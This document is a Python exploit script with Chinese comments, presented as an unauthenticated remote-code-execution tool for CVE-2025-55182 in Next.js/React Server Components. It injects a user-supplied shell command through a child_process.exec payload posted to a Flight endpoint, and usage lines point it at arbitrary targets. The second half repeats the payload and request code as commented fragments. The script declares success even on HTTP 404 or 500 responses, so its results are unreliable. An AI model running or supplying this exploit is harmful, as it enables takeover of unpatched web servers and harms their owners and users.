CVE-2025-55182 - Next.js/React Server Components 未授权远程代码执行漏洞利用工具

python3 CVE-2025-55182.py <目标URL> <命令>

#!/usr/bin/env python3
# CVE-2025-55182 - React Server Components / Next.js App Router - Unauthenticated RCE
# Works on: Next.js 14.3.0-canary.77 → 15.0.4 / 15.1.8 / 16.0.6 (any unpatched)
# Github: https://github.com/Ashwesker/Blackash-CVE-2025-55182 
# Tested: 2025-12-03

import requests
import sys
import urllib3

# 禁用SSL证书警告，便于测试环境使用
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 参数验证和帮助信息
if len(sys.argv) < 3:
    print("CVE-2025-55182 – Unauthenticated RCE PoC")
    print("Usage:   python3 CVE-2025-55182.py <target_url> <command>")
    print("Example: python3 CVE-2025-55182.py https://vuln.com \"id\"")
    print("Example: python3 CVE-2025-55182.py https://target.local:3000 \"whoami\"")
    sys.exit(1)

# 获取目标URL和要执行的命令
target = sys.argv[1].rstrip("/")
command = sys.argv[2]

# Next.js App Router默认的Flight端点
url = f"{target}/_next/static/chunks/react-flight"

# 核心漏洞载荷 - 利用不安全的Function对象反序列化
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'

# 构造multipart/form-data请求体
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
    f"--{boundary}\r\n"
    f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    f"{payload}\r\n"
    f"--{boundary}--\r\n"
)

# 请求头配置
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
    "User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
    "Accept": "*/*"
}

print("[+] CVE-2025-55182 Exploit")
print(f"[+] Target  : {target}")
print(f"[+] Command : {command}")
print(f"[+] Sending payload to {url} ...")

try:
    # 发送漏洞利用请求
    r = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

    # 处理服务器响应
    if r.status_code in [200, 400, 404, 500]:
        print("[+] Payload delivered successfully!")
        print(f"[+] HTTP {r.status_code} – Command should have executed on the server")
        if len(r.text) > 0 and len(r.text) < 1000:
            print(f"[+] Server response:\n{r.text}")
    else:
        print(f"[-] Unexpected status code:", r.status_code)

except Exception as e:
    print("[-] Request failed:", e)

print("[+] Done. Go check your listener / command output")

# 漏洞载荷构造的核心部分
# 利用Next.js React Flight协议的不安全反序列化
# '__type':'Function' 触发Function对象的构造
# code字段包含要执行的JavaScript代码
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'

# 载荷结构解析：
# 1. 前缀'1'表示单个数据包
# 2. '__type':'Function' 指定反序列化为Function对象
# 3. 'code'字段包含恶意JavaScript代码
# 4. 利用child_process模块执行系统命令

# 构造multipart/form-data请求
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
    f"--{boundary}\r\n"
    f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
    f"{payload}\r\n"
    f"--{boundary}--\r\n"
)

# 关键头信息：
# Content-Type指定multipart/form-data格式
# User-Agent伪装为正常浏览器
# Accept接受所有响应类型
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}",
    "User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
    "Accept": "*/*"
}

# 发送请求并处理响应
r = requests.post(url, data=body, headers=headers, timeout=15, verify=False)

# 漏洞利用成功的HTTP状态码范围
# 200 - 正常响应
# 400 - 错误请求（但仍可能执行了命令）
# 404 - 路径不存在（但端点可能已处理请求）
# 500 - 服务器错误（命令执行可能导致错误）
if r.status_code in [200, 400, 404, 500]:
    print("[+] Payload delivered successfully!")
    print(f"[+] HTTP {r.status_code} – Command should have executed on the server")
    if len(r.text) > 0 and len(r.text) < 1000:
        print(f"[+] Server response:\n{r.text}")
else:
    print(f"[-] Unexpected status code:", r.status_code)